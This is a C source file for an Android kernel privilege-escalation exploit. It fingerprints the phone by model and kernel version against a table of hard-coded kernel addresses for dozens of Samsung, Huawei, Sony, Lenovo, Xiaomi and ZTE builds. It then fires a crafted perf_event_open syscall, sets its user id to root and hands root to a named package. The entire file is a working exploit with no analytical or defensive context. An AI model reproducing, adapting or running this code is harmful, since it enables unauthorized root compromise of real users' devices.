#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define SYS_NMLN 65

struct exp_perf{
	char phone[8];
	char model[32];
	char release[64];
	char version[64];
	unsigned int a;
	unsigned int b;
	unsigned int c;
};

typedef	unsigned long long	uint64_t;
struct utsname {
    char  sysname   [SYS_NMLN]; //linux
    char  nodename  [SYS_NMLN]; //locolhost
    char  release   [SYS_NMLN];  //3.4.4xxx
    char  version   [SYS_NMLN];  //#1 #SMPxxx
    char  machine   [SYS_NMLN];   //armv7
    char  domainname[SYS_NMLN];   //localdomain
};

struct exp_perf aexp_perf[] = 

{{"samsung","SCH-I739","3.4.0-1071269","#1 SMP PREEMPT Wed Mar 20 12:19:55 KST 2013", 0xc00a459c, 0x38, 0xc0aea4d4 },\
{"samsung","Galaxy Nexus","3.0.31-gd5a18e0","#1 SMP PREEMPT Fri Nov 2 11:02:59 PDT 2012", 0xc00bc540, 0x44, 0xc089b280 },\
{"nexus","Nexus 4","3.4.0-perf-g7ce11cd","#1 SMP PREEMPT Tue Jan 29 11:41:33 PST 2013",0xC007A560,0,0xc0ee0070},\
{"samsung","SCH-I829","3.4.0-1131161","#1 SMP PREEMPT Thu Apr 11 21:21:40 KST 2013", 0xc00a34cc, 0x38, 0xc0b3df94 },\
{"samsung","GT-I8552","3.4.0-1066460","#1 SMP PREEMPT Thu Mar 28 18:50:01 KST 2013", 0xc00a5f0c, 0x38, 0xc0b2e0a0 },\
{"Samsung","GT-I8552","3.4.0-1153434","#1 SMP PREEMPT Tue Apr 30 22:58:01 KST 2013", 0xc00a5f0c, 0x38, 0xc0b300e0 },\
{"samsung","GT-I8552","3.4.0-1181821","#1 SMP PREEMPT Fri May 10 02:31:53 KST 2013", 0xc00a5ed4, 0x38, 0xc0b2fe20 },\
{"samsung","GT-I8552","3.4.0-1181821","#1 SMP PREEMPT Tue Jun 4 17:35:36 KST 2013", 0xc00a5f0c, 0x38, 0xc0b2fde0 },\
{"samsung","GT-I8552","3.4.0-1287713","#1 SMP PREEMPT Fri Jun 28 15:31:53 KST 2013", 0xc00a5f1c, 0x38, 0xc0b300e0 },\
{"samsung","GT-I9082","3.0.31-787228","#1 SMP PREEMPT Wed Jan 16 14:38:15 KST 2013", 0xc00ba4f0, 0x3c, 0xc09f70e4 },\
{"samsung","GT-I9082","3.0.31-891284","#1 SMP PREEMPT Tue Jan 29 17:24:11 KST 2013", 0xc00ba4f0, 0x3c, 0xc09f70e4 },\
{"samsung","GT-I9082","3.0.31-891284","#1 SMP PREEMPT Wed Feb 27 21:53:57 KST 2013", 0xc00ba64c, 0x3c, 0xc09f70e4 },\
{"samsung","GT-I9082","3.0.31-1036409","#1 SMP PREEMPT Tue Mar 12 11:09:09 KST 2013", 0xc00ba698, 0x3c, 0xc09f9164 },\
{"samsung","GT-I9082","3.0.31-1040525","#1 SMP PREEMPT Tue Apr 2 11:57:05 KST 2013", 0xc00ba698, 0x3c, 0xc09f9164 },\
{"samsung","GT-I9082","3.0.31-1200721","#1 SMP PREEMPT Wed May 22 18:17:46 KST 2013", 0xc00ba69c, 0x3c, 0xc09f9164 },\
{"samsung","GT-I9082","3.0.31-1272212","#1 SMP PREEMPT Thu Jun 20 12:03:41 KST 2013", 0xc00ba69c, 0x3c, 0xc09f9164 },\
{"samsung","GT-I9152","3.0.31-671317","#1 SMP PREEMPT Wed May 29 13:13:05 KST 2013", 0xc00d963c, 0x4c, 0xc0ac0ca8 },\
{"samsung","GT-I9152","3.0.31-706376","#1 SMP PREEMPT Thu May 30 00:09:49 KST 2013", 0xc00d963c, 0x4c, 0xc0ac0ca8 },\
{"samsung","GT-I9152","3.0.31-706376","#1 SMP PREEMPT Thu May 30 00:10:12 KST 2013", 0xc00d963c, 0x4c, 0xc0ac2ca8 },\
{"samsung","GT-I9152","3.0.31-671317","#1 SMP PREEMPT Thu May 30 17:53:46 KST 2013", 0xc00d963c, 0x4c, 0xc0abeca8 },\
{"samsung","GT-I9152","3.0.31-706376","#1 SMP PREEMPT Wed Jun 5 17:13:22 KST 2013", 0xc00d96b4, 0x4c, 0xc0ac2ca8 },\
{"samsung","GT-I9152","3.0.31-706376","#1 SMP PREEMPT Wed Jun 19 15:34:01 KST 2013", 0xc00d96b4, 0x4c, 0xc0ac2ca8 },\
{"samsung","GT-I8552","3.4.0-1066460","#1 SMP PREEMPT Fri Apr 12 00:06:58 KST 2013", 0xc00a5f0c, 0x38, 0xc0b2e0a0 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00744-g9bb648f-dirty","#1 SMP PREEMPT Thu Dec 13 01:48:30 CST 2012", 0xc00adb80, 0x44, 0xc0aca234 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00764-gb88fdd4","#1 SMP PREEMPT Fri Dec 21 23:14:24 CST 2012", 0xc00ac800, 0x44, 0xc0ad2cf4 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00781-g74027e0","#1 SMP PREEMPT Fri Jan 11 06:20:30 CST 2013", 0xc00ac7f8, 0x44, 0xc0ad47f4 },\
{"Huawei","HUAWEI G510-0010","3.4.0-perf-g0d04852-00793-g5b0439d","#1 SMP PREEMPT Wed Mar 27 16:33:04 CST 2013", 0xc00ac828, 0x44, 0xc0ad37b4 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00793-g5b0439d","#1 SMP PREEMPT Sat Mar 30 13:16:40 CST 2013", 0xc00ac828, 0x44, 0xc0ad77b4 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00793-g5b0439d","#1 SMP PREEMPT Thu May 16 05:10:17 CST 2013", 0xc00ac828, 0x44, 0xc0ad77b4 },\
{"HUAWEI","HUAWEI G510-0010","3.4.0-perf-g0d04852-00793-g5b0439d","#1 SMP PREEMPT Wed Apr 24 17:45:14 CST 2013", 0xc00ac828, 0x44, 0xc0ad77b4 },\
{"Huawei","HUAWEI G520-0000","3.4.0-perf-g659f716-00294-g0a1b01c","#1 SMP PREEMPT Wed Apr 10 13:07:19 CST 2013", 0xc00adb9c, 0x44, 0xc0aeb634 },\
{"Huawei","HUAWEI G520-0000","3.4.0-perf-g659f716-00303-gaca7ef8","#1 SMP PREEMPT Thu May 16 20:46:12 CST 2013", 0xc00ae0ec, 0x44, 0xc0aefeb4 },\
{"HUAWEI","HUAWEI G520-0000","3.4.0-perf-g659f716-00308-g9da4914","#1 SMP PREEMPT Tue Jun 18 23:46:59 CST 2013", 0xc00ae0ec, 0x44, 0xc0aefeb4 },\
{"HUAWEI","HUAWEI G520-0000","3.4.0-perf-g659f716-00281-gdf4d9c6","#1 SMP PREEMPT Wed Mar 6 18:06:07 CST 2013", 0xc00adb54, 0x44, 0xc0ae62f4 },\
{"HUAWEI","HUAWEI G520-0000","3.4.0-perf-g659f716-00296-g7bfd50d","#1 SMP PREEMPT Tue Apr 23 00:52:13 CST 2013", 0xc00ae0ec, 0x44, 0xc0aee034 },\
{"HUAWEI","HUAWEI G525-U00","3.4.0-perf-g659f716-00303-gaca7ef8","#1 SMP PREEMPT Fri May 17 17:43:14 CST 2013", 0xc00ae0ec, 0x44, 0xc0aebeb4 },\
{"HUAWEI","HUAWEI G525-U00","3.4.0-perf-gaaa2701","#1 SMP PREEMPT Thu Jun 27 19:03:21 CST 2013", 0xc00ae0ec, 0x44, 0xc0aebeb4 },\
{"HUAWEI","HUAWEI G525-U00","3.4.0-perf-g659f716-00290-gb8356b8","#1 SMP PREEMPT Thu Mar 14 12:16:28 CST 2013", 0xc00adb9c, 0x44, 0xc0aeb534 },\
{"Sony","L35h","3.4.0-g6df7905-02327-g1aa3092","#1 SMP PREEMPT Thu Apr 11 11:17:13 2013", 0xc0084660, 0x38, 0xc0d1fcb4 },\
{"Sony","L36h","3.4.0-g298631f-01992-g95474bc","#1 SMP PREEMPT Sun Jan 13 15:30:38 2013", 0xc0083c54, 0x38, 0xc0d1f6f4 },\
{"Sony","L36h","3.4.0-g6df7905-02327-g1aa3092","#1 SMP PREEMPT Thu Apr 11 11:17:13 2013", 0xc0084660, 0x38, 0xc0d1fcb4 },\
{"Sony","C6602","3.4.0-g298631f-01992-g95474bc","#1 SMP PREEMPT Sun Jan 13 15:30:38 2013", 0xc0083c54, 0x38, 0xc0d1f6f4 },\
{"Sony","C6602","3.4.0-g298631f-02021-gc1b7814","#1 SMP PREEMPT Wed Feb 20 13:01:49 2013", 0xc0083d08, 0x38, 0xc0d1f774 },\
{"Sony","C6602","3.4.0-g6df7905-02327-g1aa3092","#1 SMP PREEMPT Thu Apr 11 11:17:13 2013", 0xc0084660, 0x38, 0xc0d1fcb4 },\
{"Sony","C6603","3.4.0-g298631f-02021-gc1b7814","#1 SMP PREEMPT Wed Feb 20 13:01:49 2013", 0xc0083d08, 0x38, 0xc0d1f774 },\
{"Sony","C6603","3.4.0-g6df7905-02327-g1aa3092","#1 SMP PREEMPT Thu Apr 11 11:17:13 2013", 0xc0084660, 0x38, 0xc0d1fcb4 },\
{"K-Touch","K-Touch U86","3.4.0-perf-g577d07b","#1 SMP PREEMPT Thu Mar 7 15:05:03 CST 2013", 0xc00ad1cc, 0x38, 0xc0bc2380 },\
{"ZTE","ZTE V956","3.4.0-perf","#1 SMP PREEMPT Tue Apr 2 14:49:06 CST 2013", 0xc00acc84, 0x38, 0xc0bc3acc },\
{"ZTE","ZTE V956","3.4.0-perf","#1 SMP PREEMPT Thu Sep 26 16:04:29 CST 2013", 0xc00acc84, 0x38, 0xc0bc3acc },\
{"Xiaomi","MI 2","3.4.0-g6c38dba-00806-ga8c46ce","", 0xc007aa64, 0x38, 0xc0f3d6b4 },\
{"Xiaomi","MI 2","3.4.0-g52db9c3-01014-gf3641e5","#1 SMP PREEMPT Thu Jun 27 14:17:33 CST 2013", 0xc007b1f0, 0x38, 0xc0f6aa74 },\
{"samsung","Galaxy Nexus","3.0.31-g6fb96c9","#1 SMP PREEMPT Thu Jun 28 11:02:39 PDT 2012", 0xc00bc54c, 0x44, 0xc0897040 },\
{"samsung","Galaxy Nexus","3.0.31-g9f818de","#1 SMP PREEMPT Wed Nov 28 11:20:29 PST 2012", 0xc00bc540, 0x44, 0xc089b280 },\

// 1392291490789.so, [JAR-52s] (mobilesafe,p) Lenovo A390t
{"LENOVO","Lenovo A820e","3.4.0+","#1 SMP PREEMPT Tue May 7 09:51:09 CST 2013", 0xc00ab66c, 0x38, 0xc0c24f8c},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Thu May 16 16:45:29 CST 2013", 0xc457dac0, 0x44, 0xc4c51b14},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Mon May 6 18:18:17 CST 2013", 0xc457dac0, 0x44, 0xc4c4fb14},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Sun Apr 7 21:08:10 CST 2013", 0xc457dac0, 0x44, 0xc4c4b614},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Thu Aug 1 10:02:46 CST 2013", 0xc457dca4, 0x44, 0xc4c58234},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Wed Jul 3 16:23:51 CST 2013", 0xc457dca4, 0x44, 0xc4c58234},\
{"LENOVO","Lenovo A390t","3.0.8","#1 SMP PREEMPT Wed Aug 21 13:18:40 CST 2013", 0xc457dca4, 0x44, 0xc4c58234},\

};

int g_aexp_perf_count = sizeof(aexp_perf)/sizeof(struct exp_perf);

int exp_perf1(){
		int i = 0;
    struct exp_perf tmpexp = {0};
    struct exp_perf matchexp  = {0};
    int bversion ;
		struct utsname ut_sname = {0};
		int n_phone_model_len;
		char phone_model[32] = {0};
    if (uname(&ut_sname) == -1){
         goto END ;
    }
     
    __system_property_get("ro.product.model", phone_model);
    n_phone_model_len = strlen(phone_model);
    printff("model: %s,%s,%s\n", phone_model, ut_sname.release,ut_sname.version);
    
    while (i < g_aexp_perf_count) {
        int n_phone_release = 0;
        
        memcpy(&tmpexp, &aexp_perf[i], sizeof(struct exp_perf));
        if (strlen(tmpexp.model) == n_phone_model_len) {
            n_phone_release = strlen(ut_sname.release);
            if(n_phone_release == strlen(tmpexp.release) &&
                 !strncmp(phone_model, tmpexp.model, n_phone_model_len) &&
                 !strncmp(tmpexp.release, ut_sname.release, n_phone_release)) {
                
                if (!strncmp(ut_sname.version, tmpexp.version,strlen(tmpexp.version))) {
                    break;
                }
            }
        }    
        i++;
    }
    if(i < g_aexp_perf_count){
	    memcpy(&matchexp, &aexp_perf[i], sizeof(struct exp_perf));
	    
	    printff("find:%s-%s-%s", matchexp.model, matchexp.release);
	    uint64_t v = -((unsigned int)(-matchexp.b- matchexp.a + matchexp.c) >> 2);
	    //int v =((matchexp.b+ matchexp.a - matchexp.c)/4 | 0x80000000);
	    printff("%x\n", v);
	    uint64_t args[10] = {0x4800000001, v, 0, 0, 0, 0x300 };
	    int v18 = syscall(0x16C, args, 0, -1, -1, 0);
	    sleep(1);
	    setresuid(0, 0, 0);
	    printff("%d\n", getuid());
	    close(v18);
  	}
    END:
    	return 1;

}

/*
int main(){

	return exp_perf1();
}
*/

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int ret = 0;
	
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	exp_perf1();
	ret = (getuid() == 0);
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
